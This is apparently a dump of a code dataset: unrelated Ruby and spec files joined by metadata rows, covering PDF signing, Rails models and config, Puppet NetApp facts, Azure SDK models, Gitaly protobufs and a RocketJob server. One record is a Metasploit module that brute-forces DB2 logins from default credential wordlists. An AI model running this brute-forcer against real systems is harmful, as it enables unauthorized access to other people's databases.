contents.draw_image(:stamp_sign, stamp_sign_options)
end
# Set the contentstream with (stamp + text) as the contents of the page
contents.draw_rectangle(box[:x], box[:y], box[:width], box[:height])
page.setContents([page.Contents, contents])
# Create the signature annotaion over the content area box
annotation = Origami::Annotation::Widget::Signature.new
annotation.Rect = Origami::Rectangle[
:llx => box[:x],
:lly => box[:y] + box[:height],
:urx => box[:x] + box[:width],
:ury => box[:y]
]
# Add the signature annotation to the page
page.add_annot(annotation)
[page, annotation]
end
end
def self.create_cert_and_keys(options={})
if options[:RSAPrivateKey] and options[:PassPhrase] and options[:X509Certificate]
key = OpenSSL::PKey::RSA.new options[:RSAPrivateKey], options[:PassPhrase]
cert = OpenSSL::X509::Certificate.new options[:X509Certificate]
return [cert, key]
end
key = OpenSSL::PKey::RSA.new 2048
public_key = key.public_key
c = options[:cert][:country] || 'CO'
st = options[:cert][:estado] || 'Ciudad Habana'
l = options[:cert][:locality] || 'Habana vieja'
o = options[:cert][:organization] || 'Edificio Bacardi'
ou = options[:cert][:organizational_unit] || 'OpenJAF'
cn = options[:cert][:cn] || 'www.openjaf.com/emailAddress=openjaf@gmail.com'
subject = "/C=#{c}/ST=#{st}/L=#{l}/O=#{o}/OU=#{ou}/CN=#{cn}"
cert = OpenSSL::X509::Certificate.new
cert.subject = cert.issuer = OpenSSL::X509::Name.parse(subject)
cert.not_before = Time.now
validity = options[:cert][:validity] || 1.year
cert.not_after = Time.now + validity
cert.public_key = public_key
cert.serial = 0x0
cert.version = 2
ef = OpenSSL::X509::ExtensionFactory.new
ef.subject_certificate = cert
ef.issuer_certificate = cert
cert.extensions = [
ef.create_extension('basicConstraints', 'CA:TRUE', true),
ef.create_extension('subjectKeyIdentifier', 'hash'),
]
cert.add_extension ef.create_extension('authorityKeyIdentifier',
'keyid:always,issuer:always')
cert.sign key, OpenSSL::Digest::SHA256.new
[cert, key]
end
def self.sign_pdf(input_pdf, options = {})
self::PDF.convert_to_signable input_pdf.tempfile.path, input_pdf.tempfile.path
cert, key = self.create_cert_and_keys(options)
pdf = self::PDF.read(input_pdf.tempfile.path)
original_filename = input_pdf.original_filename
output_filename = original_filename.dup.insert(original_filename.rindex('.'), '_signed')
input_pdf.tempfile.close!
annotation = pdf.signature_page(pdf.pages.last, options)[1]
# Sign the PDF with the specified keys
pdf.sign(cert, key,
:method => 'adbe.pkcs7.sha1',
:annotation => annotation,
:location => options[:cert][:location],
:contact => options[:annot][:contact],
:reason => options[:cert][:reason],
:issuer => options[:cert][:issuer],
)
[pdf.to_blob, output_filename]
end
end
| 35.367816 | 136 | 0.642671 |
d5060fb4ff659b502076b0ef6f54071e158db9f7 | 1,931 | class StakeCurrency < DbConnection::KitSaasSubenv
enum status: {
GlobalConstant::StakeCurrency.setup_in_progress_status => 1,
GlobalConstant::StakeCurrency.active_status => 2,
GlobalConstant::StakeCurrency.inactive_status => 3
}
serialize :constants, JSON
# Format data to a format which goes into cache
#
# * Author: Santhosh
# * Date: 11/04/2019
# * Reviewed By:
#
# @return [Hash]
#
def formatted_cache_data
{
id: id,
name: name,
symbol: symbol,
decimal: decimal,
contract_address: contract_address,
constants: constants,
status: status
}
end
# Fetch from db
#
# * Author: Santhosh
# * Date: 11/04/2019
# * Reviewed By:
#
# @return [Array]
#
def self.fetch_from_db
data = []
StakeCurrency.all.each do |row|
data << row.formatted_cache_data
end
data
end
# Id to details cache
#
# * Author: Santhosh
# * Date: 11/04/2019
# * Reviewed By:
#
# @return [Hash]
#
def self.ids_to_details_cache
@ids_to_details_cache ||= begin
data = {}
StakeCurrency.fetch_from_db.each do |row|
data[row[:id]] = row
end
data
end
end
# Symbol to details cache
#
# * Author: Santhosh
# * Date: 11/04/2019
# * Reviewed By:
#
# @return [Hash]
#
def self.symbols_to_details_cache
@symbols_to_details_cache ||= begin
data = {}
StakeCurrency.fetch_from_db.each do |row|
data[row[:symbol]] = row
end
data
end
end
# Symbol to details cache ONLY of active stake currencies
#
# * Author: Shlok
# * Date: 15/05/2019
# * Reviewed By:
#
# @return [Hash]
#
def self.active_stake_currencies_by_symbol
@active_stake_currencies_by_symbol ||= begin
StakeCurrency.symbols_to_details_cache.select { |_,data| data[:status] == GlobalConstant::StakeCurrency.active_status}
end
end
end | 19.907216 | 124 | 0.627136 |
08dd3821485ea71e4cd269aac7e3ffcfdf7ab124 | 1,007 | # frozen_string_literal: true
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'well_secure_password/version'
Gem::Specification.new do |spec|
spec.name = 'well_secure_password'
spec.version = WellSecurePassword::VERSION
spec.platform = Gem::Platform::RUBY
spec.authors = ['Damian Śliwecki']
spec.email = ['sliwecki@gmail.com']
spec.summary = %q{Next generation plugin to secure your clients password}
spec.description = spec.summary
spec.homepage = 'https://github.com/sliwecki/well_secure_password'
spec.license = 'MIT'
spec.files = `git ls-files -z`.split("\x0").reject { |f| f.match(%r{^(spec)/}) }
spec.require_paths = %w[lib]
spec.add_dependency 'activesupport', '>= 4.0'
spec.add_dependency 'dry-configurable', '>= 0.7'
spec.add_development_dependency 'bundler'
spec.add_development_dependency 'rake'
spec.add_development_dependency 'rspec'
end
| 37.296296 | 90 | 0.689176 |
f705a2dbfeb60f5b0928b37d583a5c82e12378fd | 901 | Pod::Spec.new do |s|
s.name = 'RealmLoginKit'
s.version = '0.1.3'
s.license = { :type => 'Apache-2.0', :file => 'LICENSE' }
s.summary = 'A generic login view controller for apps that use the Realm Mobile Platform'
s.homepage = 'https://realm.io'
s.author = { 'Realm' => 'help@realm.io' }
s.source = { :git => 'https://github.com/realm-demos/realm-loginkit.git', :tag => s.version.to_s }
s.requires_arc = true
s.platform = :ios, '9.0'
s.default_subspec = 'Core'
s.dependency 'Realm'
s.dependency 'TORoundedTableView'
s.subspec 'Core' do |core|
core.source_files = '**/RealmLoginKit/**/*.{swift}'
core.exclude_files = '**/RealmLoginKit/Models/AuthenticationProviders/*'
end
s.subspec 'AWSCognito' do |aws|
aws.source_files = '**/RealmLoginKit/**/*.{swift}'
aws.dependency 'AWSCognito'
aws.dependency 'AWSCognitoIdentityProvider'
end
end
| 34.653846 | 102 | 0.651498 |
d5467429de26b883c6093887855514c044354f31 | 1,521 | module Poly::Controller
require 'poly/controller/content_for_extender'
require 'poly/controller/pagination_extender'
require 'poly/controller/actions_extender'
require 'poly/view/presentations'
class Base < ::InheritedResources::Base
include ContentForExtender
include PaginationExtender
include ActionsExtender
layout :poly
attr_accessor :presentations
attr_accessor :pagination_on
attr_reader :actions_list
class << self
public :defaults
public :actions, :custom_actions
public :belongs_to, :polymorphic_belongs_to, :singleton_belongs_to, :optional_belongs_to
public :with_role, :without_protection
end
def initialize(&block)
instance_eval(&block) if block_given?
prepare_views
end
def method_missing(name, *args, &block)
self.class.send(name, *args, &block)
end
def configuration
resources_configuration[:self]
end
protected
def prepare_views
@presentations = {}
prepared_actions.each do |action|
@presentations[action] = "::Poly::View::Presentations::#{action.capitalize}Presentation".constantize.new(self)
end
end
def prepared_actions
@actions_list = []
::InheritedResources::ACTIONS.each do |action|
@actions_list << action if self.respond_to?(action)
end
excepted_actions = [:create, :update, :destroy]
@actions_list.reject {|a| excepted_actions.include?(a) }
end
end
end | 26.684211 | 120 | 0.685733 |
3997ad84d978ff4e0ea949870d41e8118f9e4df3 | 5,488 | #! /usr/bin/env ruby
require 'spec_helper'
require 'yaml'
require 'puppet/util/network_device'
require 'puppet/util/network_device/netapp/device'
describe Puppet::Util::NetworkDevice::Netapp::Facts do
let :transport do
mock 'netapp server'
end
let :version do
YAML.load_file(my_fixture('system-get-version.yml'))
end
let :info do
YAML.load_file(my_fixture('system-get-info.yml'))
end
let :info2 do
YAML.load_file(my_fixture('system-get-info2.yml'))
end
let :domainname do
YAML.load_file(my_fixture('options-get-dns.domainname.yml'))
end
let :network do
YAML.load_file(my_fixture('network-iface-get.yml'))
end
let :result_failed do
n = NaElement.new("results")
n.attr_set("status", "failed")
n.attr_set("reason", "No response received")
n.attr_set("errno", 13001)
n
end
let :facts do
described_class.new(transport).retrieve
end
before :each do
transport.expects(:invoke).with('system-get-version').returns version
transport.expects(:invoke).with('options-get', 'name', 'dns.domainname').returns domainname
end
describe "#retrieve" do
it "should mixin the version from system-get-version" do
transport.expects(:invoke).with('system-get-info').returns info
transport.expects(:invoke).with('net-ifconfig-get').returns network
facts["version"].should == "NetApp Release 8.1P2 7-Mode: Tue Jun 12 17:53:00 PDT 2012 Multistore"
end
it "should mixin the domainname from options-get" do
transport.expects(:invoke).with('system-get-info').returns info
transport.expects(:invoke).with('net-ifconfig-get').returns network
facts["domain"].should == 'example.com'
end
it "should seperate domain-name from hostname" do
transport.expects(:invoke).with('system-get-info').returns info2
transport.expects(:invoke).with('net-ifconfig-get').returns network
facts['fqdn'].should == 'filer02.example.com'
facts['hostname'].should == 'filer02'
facts['domain'].should == 'example.com'
end
it "should not gather interface facts if net-ifconfig-get is not supported" do
transport.expects(:invoke).with('system-get-info').returns info
transport.expects(:invoke).with('net-ifconfig-get').returns result_failed
Puppet.expects(:debug).with('API call net-ifconfig-get failed. Probably not supported. Not gathering interface facts')
facts
end
it "should create an \"ipaddress\" fact for each interfaces if net-ifconfig-get is supported" do
transport.expects(:invoke).with('system-get-info').returns info
transport.expects(:invoke).with('net-ifconfig-get').returns network
facts['ipaddress_e0a'].should == '192.168.150.119'
facts.should_not have_key('ipaddress_e0b')
facts.should_not have_key('ipaddress_e0c')
facts.should_not have_key('ipaddress_e0d')
facts['ipaddress_e0M'].should == '10.0.32.17'
end
it "should create a \"netmask\" fact for each interfaces if net-ifconfig-get is supported" do
transport.expects(:invoke).with('system-get-info').returns info
transport.expects(:invoke).with('net-ifconfig-get').returns network
facts['netmask_e0a'].should == '255.255.254.0'
facts.should_not have_key('netmask_e0b')
facts.should_not have_key('netmask_e0c')
facts.should_not have_key('netmask_e0d')
facts['netmask_e0M'].should == '255.255.224.0'
end
it "should create a \"macaddress\" fact for each interface if net-ifconfig-get is supported" do
transport.expects(:invoke).with('system-get-info').returns info
transport.expects(:invoke).with('net-ifconfig-get').returns network
facts["macaddress_e0a"].should == '00:0c:29:77:e8:78'
facts["macaddress_e0b"].should == '00:0c:29:77:e8:82'
facts["macaddress_e0c"].should == '00:0c:29:77:e8:8c'
facts["macaddress_e0d"].should == '00:0c:29:77:e8:96'
facts["macaddress_e0M"].should == '00:0c:29:77:e8:A0'
end
it "should create an \"interfaces\" fact as a comma separated list of interfaces" do
transport.expects(:invoke).with('system-get-info').returns info
transport.expects(:invoke).with('net-ifconfig-get').returns network
facts["interfaces"].should == 'e0a,e0b,e0c,e0d,e0M'
end
{
:productname => 'FAS3240',
:manufacturer => 'NetApp',
:osfamily => 'NetApp',
:operatingsystem => 'OnTAP',
:operatingsystemrelease => '8.1P2',
:hostname => 'filer01',
:fqdn => 'filer01.example.com',
:domain => 'example.com',
:uniqueid => '1918293798',
:serialnumber => '123289979812',
:processorcount => '4',
:memorysize_mb => '8192',
:memorysize => '8192 MB',
:hardwareisa => 'Intel(R) Xeon(R) CPU L5410 @ 2.33GHz',
:is_clustered => 'false',
:macaddress => '00:0c:29:77:e8:A0',
:ipaddress => '10.0.32.17',
:netmask => '255.255.224.0',
}.each do |fact, expected_value|
it "should return #{expected_value} for #{fact}" do
transport.expects(:invoke).with('system-get-info').returns info
transport.expects(:invoke).with('net-ifconfig-get').returns network
facts[fact.to_s].should == expected_value
end
end
end
end
| 38.377622 | 124 | 0.644862 |
ffeedd7f7819f481d177aed8d71f305cdc962728 | 881 | $LOAD_PATH.unshift(File.dirname(__FILE__))
$LOAD_PATH.unshift(File.join(File.dirname(__FILE__), '..', 'lib'))
MODELS = File.join(File.dirname(__FILE__), 'models')
require 'rubygems'
require 'mongoid'
require 'mongoid_auto_increment'
require 'database_cleaner'
require 'simplecov'
SimpleCov.start
Dir["#{MODELS}/*.rb"].each { |f| require f }
if defined?(::Mongoid::VERSION) && ::Mongoid::VERSION > '3'
Mongoid.configure do |config|
config.connect_to 'mongoid_auto_increment_test'
end
else
Mongoid.config.master = Mongo::Connection.new.db('mongoid_auto_increment_test')
end
Mongoid.logger = Logger.new($stdout)
DatabaseCleaner.orm = 'mongoid'
RSpec.configure do |config|
config.before(:all) do
DatabaseCleaner.strategy = :truncation
end
config.before(:each) do
DatabaseCleaner.start
end
config.after(:each) do
DatabaseCleaner.clean
end
end
| 22.025 | 81 | 0.735528 |
b96c3cea79b1eac57688ea61c493d48acf690ae2 | 9,432 | # Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::Network::Mgmt::V2019_06_01
module Models
#
# A network interface in a resource group.
#
class NetworkInterface < Resource
include MsRestAzure
# @return [SubResource] The reference of a virtual machine.
attr_accessor :virtual_machine
# @return [NetworkSecurityGroup] The reference of the
# NetworkSecurityGroup resource.
attr_accessor :network_security_group
# @return [PrivateEndpoint] A reference to the private endpoint to which
# the network interface is linked.
attr_accessor :private_endpoint
# @return [Array<NetworkInterfaceIPConfiguration>] A list of
# IPConfigurations of the network interface.
attr_accessor :ip_configurations
# @return [Array<NetworkInterfaceTapConfiguration>] A list of
# TapConfigurations of the network interface.
attr_accessor :tap_configurations
# @return [NetworkInterfaceDnsSettings] The DNS settings in network
# interface.
attr_accessor :dns_settings
# @return [String] The MAC address of the network interface.
attr_accessor :mac_address
# @return [Boolean] Gets whether this is a primary network interface on a
# virtual machine.
attr_accessor :primary
# @return [Boolean] If the network interface is accelerated networking
# enabled.
attr_accessor :enable_accelerated_networking
# @return [Boolean] Indicates whether IP forwarding is enabled on this
# network interface.
attr_accessor :enable_ipforwarding
# @return [Array<String>] A list of references to linked BareMetal
# resources.
attr_accessor :hosted_workloads
# @return [String] The resource GUID property of the network interface
# resource.
attr_accessor :resource_guid
# @return [String] The provisioning state of the public IP resource.
# Possible values are: 'Updating', 'Deleting', and 'Failed'.
attr_accessor :provisioning_state
# @return [String] A unique read-only string that changes whenever the
# resource is updated.
attr_accessor :etag
#
# Mapper for NetworkInterface class as Ruby Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
serialized_name: 'NetworkInterface',
type: {
name: 'Composite',
class_name: 'NetworkInterface',
model_properties: {
id: {
client_side_validation: true,
required: false,
serialized_name: 'id',
type: {
name: 'String'
}
},
name: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'name',
type: {
name: 'String'
}
},
type: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'type',
type: {
name: 'String'
}
},
location: {
client_side_validation: true,
required: false,
serialized_name: 'location',
type: {
name: 'String'
}
},
tags: {
client_side_validation: true,
required: false,
serialized_name: 'tags',
type: {
name: 'Dictionary',
value: {
client_side_validation: true,
required: false,
serialized_name: 'StringElementType',
type: {
name: 'String'
}
}
}
},
virtual_machine: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'properties.virtualMachine',
type: {
name: 'Composite',
class_name: 'SubResource'
}
},
network_security_group: {
client_side_validation: true,
required: false,
serialized_name: 'properties.networkSecurityGroup',
type: {
name: 'Composite',
class_name: 'NetworkSecurityGroup'
}
},
private_endpoint: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'properties.privateEndpoint',
type: {
name: 'Composite',
class_name: 'PrivateEndpoint'
}
},
ip_configurations: {
client_side_validation: true,
required: false,
serialized_name: 'properties.ipConfigurations',
type: {
name: 'Sequence',
element: {
client_side_validation: true,
required: false,
serialized_name: 'NetworkInterfaceIPConfigurationElementType',
type: {
name: 'Composite',
class_name: 'NetworkInterfaceIPConfiguration'
}
}
}
},
tap_configurations: {
client_side_validation: true,
required: false,
serialized_name: 'properties.tapConfigurations',
type: {
name: 'Sequence',
element: {
client_side_validation: true,
required: false,
serialized_name: 'NetworkInterfaceTapConfigurationElementType',
type: {
name: 'Composite',
class_name: 'NetworkInterfaceTapConfiguration'
}
}
}
},
dns_settings: {
client_side_validation: true,
required: false,
serialized_name: 'properties.dnsSettings',
type: {
name: 'Composite',
class_name: 'NetworkInterfaceDnsSettings'
}
},
mac_address: {
client_side_validation: true,
required: false,
serialized_name: 'properties.macAddress',
type: {
name: 'String'
}
},
primary: {
client_side_validation: true,
required: false,
serialized_name: 'properties.primary',
type: {
name: 'Boolean'
}
},
enable_accelerated_networking: {
client_side_validation: true,
required: false,
serialized_name: 'properties.enableAcceleratedNetworking',
type: {
name: 'Boolean'
}
},
enable_ipforwarding: {
client_side_validation: true,
required: false,
serialized_name: 'properties.enableIPForwarding',
type: {
name: 'Boolean'
}
},
hosted_workloads: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'properties.hostedWorkloads',
type: {
name: 'Sequence',
element: {
client_side_validation: true,
required: false,
serialized_name: 'StringElementType',
type: {
name: 'String'
}
}
}
},
resource_guid: {
client_side_validation: true,
required: false,
serialized_name: 'properties.resourceGuid',
type: {
name: 'String'
}
},
provisioning_state: {
client_side_validation: true,
required: false,
serialized_name: 'properties.provisioningState',
type: {
name: 'String'
}
},
etag: {
client_side_validation: true,
required: false,
serialized_name: 'etag',
type: {
name: 'String'
}
}
}
}
}
end
end
end
end
| 33.211268 | 85 | 0.472434 |
266261c4ee2e9aaface240bb74d45079381c0e80 | 3,350 | # Be sure to restart your server when you modify this file
# Uncomment below to force Rails into production mode when
# you don't control web/app server and can't set it the proper way
# ENV['RAILS_ENV'] ||= 'production'
# Specifies gem version of Rails to use when vendor/rails is not present
RAILS_GEM_VERSION = '2.3.5' unless defined? RAILS_GEM_VERSION
# Bootstrap the Rails environment, frameworks, and default configuration
require File.join(File.dirname(__FILE__), 'boot')
Rails::Initializer.run do |config|
# Settings in config/environments/* take precedence over those specified here.
# Application configuration should go into files in config/initializers
# -- all .rb files in that directory are automatically loaded.
# See Rails::Configuration for more options.
# Skip frameworks you're not going to use. To use Rails without a database
# you must remove the Active Record framework.
# config.frameworks -= [ :active_record, :active_resource, :action_mailer ]
# Specify gems that this application depends on.
# They can then be installed with "rake gems:install" on new installations.
# config.gem "bj"
# config.gem "hpricot", :version => '0.6', :source => "http://code.whytheluckystiff.net"
# config.gem "aws-s3", :lib => "aws/s3"
config.gem "coderay"
config.gem "RedCloth"
# Only load the plugins named here, in the order given. By default, all plugins
# in vendor/plugins are loaded in alphabetical order.
# :all can be used as a placeholder for all plugins not explicitly named
# config.plugins = [ :exception_notification, :ssl_requirement, :all ]
# Add additional load paths for your own custom dirs
# config.load_paths += %W( #{RAILS_ROOT}/extras )
# Force all environments to use the same logger level
# (by default production uses :info, the others :debug)
# config.log_level = :debug
# Make Time.zone default to the specified zone, and make Active Record store time values
# in the database in UTC, and return them converted to the specified local zone.
# Run "rake -D time" for a list of tasks for finding time zone names. Uncomment to use default local time.
config.time_zone = 'UTC'
# Your secret key for verifying cookie session data integrity.
# If you change this key, all old sessions will become invalid!
# Make sure the secret is at least 30 characters and all random,
# no regular words or you'll be exposed to dictionary attacks.
config.action_controller.session = {
:session_key => '_blog_session',
:secret => 'f3f57b71ef9345ffccd0c4e841d8e74bb2e7d2ef692a5303bb455fea0667a62d30458d17f95766b12906aa6c2a3c29d584a55dd18426ffc04610be49956a51af'
}
# Use the database for sessions instead of the cookie-based default,
# which shouldn't be used to store highly confidential information
# (create the session table with "rake db:sessions:create")
# config.action_controller.session_store = :active_record_store
# Use SQL instead of Active Record's schema dumper when creating the test database.
# This is necessary if your schema can't be completely dumped by the schema dumper,
# like if you have constraints or database-specific column types
# config.active_record.schema_format = :sql
# Activate observers that should always be running
# config.active_record.observers = :cacher, :garbage_collector
end
| 47.183099 | 150 | 0.752239 |
bfc3d1428573f6a08dc7c85739e660a5b5726587 | 732 | # Monkey patching patterns lifted from
# https://github.com/thoughtbot/airbrake/blob/master/lib/airbrake/rake_handler.rb
module ExceptionNotifier
module RakePatch
def display_error_message(ex)
super(ex)
ExceptionNotifier::Rake.maybe_deliver_notification(ex,
:rake_command_line => reconstruct_command_line)
end
def reconstruct_command_line
"rake #{ARGV.join(' ')}"
end
end
end
# Only do this if we're actually in a Rake context. In some contexts (e.g.,
# in the Rails console) Rake might not be defined.
if Object.const_defined?(:Rake) && Rake.respond_to?(:application)
Rake.application.instance_eval do
class << self
prepend ExceptionNotifier::RakePatch
end
end
end
| 28.153846 | 81 | 0.729508 |
113317b4733709c01b21a9351498d236a3d2fb5d | 2,642 | ##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::DB2
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'DB2 Authentication Brute Force Utility',
'Version' => '$Revision$',
'Description' => %q{This module attempts to authenticate against a DB2
instance using username and password combinations indicated by the
USER_FILE, PASS_FILE, and USERPASS_FILE options.},
'Author' => ['todb'],
'References' =>
[
[ 'CVE', '1999-0502'] # Weak password
],
'License' => MSF_LICENSE
)
register_options(
[
OptPath.new('USERPASS_FILE', [ false, "File containing (space-seperated) users and passwords, one pair per line",
File.join(Msf::Config.install_root, "data", "wordlists", "db2_default_userpass.txt") ]),
OptPath.new('USER_FILE', [ false, "File containing users, one per line",
File.join(Msf::Config.install_root, "data", "wordlists", "db2_default_user.txt") ]),
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
File.join(Msf::Config.install_root, "data", "wordlists", "db2_default_pass.txt") ]),
], self.class)
end
def run_host(ip)
each_user_pass { |user, pass|
do_login(user,pass,datastore['DATABASE'])
}
end
def do_login(user=nil,pass=nil,db=nil)
datastore['USERNAME'] = user
datastore['PASSWORD'] = pass
vprint_status("#{rhost}:#{rport} - DB2 - Trying username:'#{user}' with password:'#{pass}'")
begin
info = db2_check_login
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} : Unable to attempt authentication")
return :abort
rescue ::Rex::Proto::DRDA::RespError => e
vprint_error("#{rhost}:#{rport} : Error in connecting to DB2 instance: #{e}")
return :abort
end
disconnect
if info[:db_login_success]
print_good("#{rhost}:#{rport} - DB2 - successful login for '#{user}' : '#{pass}' against database '#{db}'")
# Report credentials
report_auth_info(
:host => rhost,
:port => rport,
:sname => "db2",
:user => "#{db}/#{user}",
:pass => pass,
:active => true
)
return :next_user
else
vprint_error("#{rhost}:#{rport} - DB2 - failed login for '#{user}' : '#{pass}' against database '#{db}'")
return :fail
end
end
end
| 29.032967 | 118 | 0.652536 |
6ac76818786b31d5275b71dae845edb40bbe6050 | 4,560 | # Generated by the protocol buffer compiler. DO NOT EDIT!
# source: hook.proto
require 'google/protobuf'
require 'lint_pb'
require 'shared_pb'
Google::Protobuf::DescriptorPool.generated_pool.build do
add_file("hook.proto", :syntax => :proto3) do
add_message "gitaly.PreReceiveHookRequest" do
optional :repository, :message, 1, "gitaly.Repository"
repeated :environment_variables, :string, 2
optional :stdin, :bytes, 4
repeated :git_push_options, :string, 5
end
add_message "gitaly.PreReceiveHookResponse" do
optional :stdout, :bytes, 1
optional :stderr, :bytes, 2
optional :exit_status, :message, 3, "gitaly.ExitStatus"
end
add_message "gitaly.PostReceiveHookRequest" do
optional :repository, :message, 1, "gitaly.Repository"
repeated :environment_variables, :string, 2
optional :stdin, :bytes, 3
repeated :git_push_options, :string, 4
end
add_message "gitaly.PostReceiveHookResponse" do
optional :stdout, :bytes, 1
optional :stderr, :bytes, 2
optional :exit_status, :message, 3, "gitaly.ExitStatus"
end
add_message "gitaly.UpdateHookRequest" do
optional :repository, :message, 1, "gitaly.Repository"
repeated :environment_variables, :string, 2
optional :ref, :bytes, 3
optional :old_value, :string, 4
optional :new_value, :string, 5
end
add_message "gitaly.UpdateHookResponse" do
optional :stdout, :bytes, 1
optional :stderr, :bytes, 2
optional :exit_status, :message, 3, "gitaly.ExitStatus"
end
add_message "gitaly.ReferenceTransactionHookRequest" do
optional :repository, :message, 1, "gitaly.Repository"
repeated :environment_variables, :string, 2
optional :stdin, :bytes, 3
optional :state, :enum, 4, "gitaly.ReferenceTransactionHookRequest.State"
end
add_enum "gitaly.ReferenceTransactionHookRequest.State" do
value :PREPARED, 0
value :COMMITTED, 1
value :ABORTED, 2
end
add_message "gitaly.ReferenceTransactionHookResponse" do
optional :stdout, :bytes, 1
optional :stderr, :bytes, 2
optional :exit_status, :message, 3, "gitaly.ExitStatus"
end
add_message "gitaly.PackObjectsHookRequest" do
optional :repository, :message, 1, "gitaly.Repository"
repeated :args, :string, 2
optional :stdin, :bytes, 3
end
add_message "gitaly.PackObjectsHookResponse" do
optional :stdout, :bytes, 1
optional :stderr, :bytes, 2
end
add_message "gitaly.PackObjectsHookWithSidechannelRequest" do
optional :repository, :message, 1, "gitaly.Repository"
repeated :args, :string, 2
end
add_message "gitaly.PackObjectsHookWithSidechannelResponse" do
end
end
end
module Gitaly
PreReceiveHookRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("gitaly.PreReceiveHookRequest").msgclass
PreReceiveHookResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("gitaly.PreReceiveHookResponse").msgclass
PostReceiveHookRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("gitaly.PostReceiveHookRequest").msgclass
PostReceiveHookResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("gitaly.PostReceiveHookResponse").msgclass
UpdateHookRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("gitaly.UpdateHookRequest").msgclass
UpdateHookResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("gitaly.UpdateHookResponse").msgclass
ReferenceTransactionHookRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("gitaly.ReferenceTransactionHookRequest").msgclass
ReferenceTransactionHookRequest::State = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("gitaly.ReferenceTransactionHookRequest.State").enummodule
ReferenceTransactionHookResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("gitaly.ReferenceTransactionHookResponse").msgclass
PackObjectsHookRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("gitaly.PackObjectsHookRequest").msgclass
PackObjectsHookResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("gitaly.PackObjectsHookResponse").msgclass
PackObjectsHookWithSidechannelRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("gitaly.PackObjectsHookWithSidechannelRequest").msgclass
PackObjectsHookWithSidechannelResponse = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("gitaly.PackObjectsHookWithSidechannelResponse").msgclass
end
| 49.032258 | 158 | 0.754386 |
1d66149676994a67c335ba40a68f7ddaa7589bba | 686 | module YmCore::Generators
module Migration
def self.included(base)
base.send(:include, Rails::Generators::Migration)
base.extend(ClassMethods)
end
module ClassMethods
def next_migration_number(path)
unless @prev_migration_nr
@prev_migration_nr = Time.now.utc.strftime("%Y%m%d%H%M%S").to_i
else
@prev_migration_nr += 1
end
@prev_migration_nr.to_s
end
end
private
def try_migration_template(source, destination)
begin
migration_template source, destination
rescue Rails::Generators::Error => e
puts e
end
end
end
end | 20.176471 | 73 | 0.610787 |
21b0bcfeef79d3680bc61a7d1c4c79b3a559e3c8 | 11,605 | require 'concurrent'
module RocketJob
# Server
#
# On startup a server instance will automatically register itself
# if not already present
#
# Starting a server in the foreground:
# - Using a Rails runner:
# bin/rocketjob
#
# Starting a server in the background:
# - Using a Rails runner:
# nohup bin/rocketjob --quiet 2>&1 1>output.log &
#
# Stopping a server:
# - Stop the server via the Web UI
# - Send a regular kill signal to make it shutdown once all active work is complete
# kill <pid>
# - Or, use the following Ruby code:
# server = RocketJob::Server.where(name: 'server name').first
# server.stop!
#
# Sending the kill signal locally will result in starting the shutdown process
# immediately. Via the UI or Ruby code the server can take up to 15 seconds
# (the heartbeat interval) to start shutting down.
class Server
include Plugins::Document
include Plugins::StateMachine
include SemanticLogger::Loggable
store_in collection: 'rocket_job.servers'
# Unique Name of this server instance
# Default: `host name:PID`
# The unique name is used on re-start to re-queue any jobs that were being processed
# at the time the server unexpectedly terminated, if any
field :name, type: String, default: -> { "#{SemanticLogger.host}:#{$$}" }
# The maximum number of workers this server should start
# If set, it will override the default value in RocketJob::Config
field :max_workers, type: Integer, default: -> { Config.instance.max_workers }
# When this server process was started
field :started_at, type: Time
# Filter to apply to control which job classes this server can process
field :filter, type: Hash
# The heartbeat information for this server
embeds_one :heartbeat, class_name: 'RocketJob::Heartbeat'
# Current state
# Internal use only. Do not set this field directly
field :state, type: Symbol, default: :starting
index({name: 1}, background: true, unique: true, drop_dups: true)
validates_presence_of :state, :name, :max_workers
# States
# :starting -> :running -> :paused
# -> :stopping
aasm column: :state, whiny_persistence: true do
state :starting, initial: true
state :running
state :paused
state :stopping
event :started do
transitions from: :starting, to: :running
before do
self.started_at = Time.now
end
end
event :pause do
transitions from: :running, to: :paused
end
event :resume do
transitions from: :paused, to: :running
end
event :stop do
transitions from: :running, to: :stopping
transitions from: :paused, to: :stopping
transitions from: :starting, to: :stopping
end
end
# Requeue any jobs being worked by this server when it is destroyed
before_destroy :requeue_jobs
# Destroy's all instances of zombie servers and requeues any jobs still "running"
# on those servers.
def self.destroy_zombies
count = 0
each do |server|
next unless server.zombie?
logger.warn "Destroying zombie server #{server.name}, and requeueing its jobs"
server.destroy
count += 1
end
count
end
# Stop all running, paused, or starting servers
def self.stop_all
where(:state.in => [:running, :paused, :starting]).each(&:stop!)
end
# Pause all running servers
def self.pause_all
running.each(&:pause!)
end
# Resume all paused servers
def self.resume_all
paused.each(&:resume!)
end
